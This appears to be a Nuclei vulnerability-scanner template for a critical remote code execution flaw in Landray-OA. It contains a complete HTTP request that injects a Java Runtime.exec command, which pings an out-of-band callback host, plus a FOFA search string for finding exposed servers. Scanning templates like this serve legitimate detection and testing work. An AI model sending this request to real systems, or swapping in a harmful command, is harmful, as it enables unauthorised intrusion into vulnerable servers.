id: landray-oa-erp-data-rce

info:
  name: Landray-OA - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Landray-OA `erp_data.jsp` is vulnerable to remote code execution vulnerability.
  reference:
    - https://cn-sec.com/archives/1249492.html
    - https://github.com/ax1sX/SecurityList/blob/main/Java_OA/LandrayEkpAudit.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Landray-OA系统"
  tags: landray,rce,vuln

http:
  - raw:
      - |
        POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        var={"body":{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysFormulaValidate&script=Runtime.getRuntime().exec("ping -c 4 {{interactsh-url}}");

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '{"message":"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402206d54faaf44dddcd9ee0917ffa29497eac5f0ed50e989c8cacc62c78996ac7d7202207d90077b8efac7004c2f35277b9aad30a6b4739d63b2ef6d54604940ed206118:922c64590222798bb761d5b6d8e72950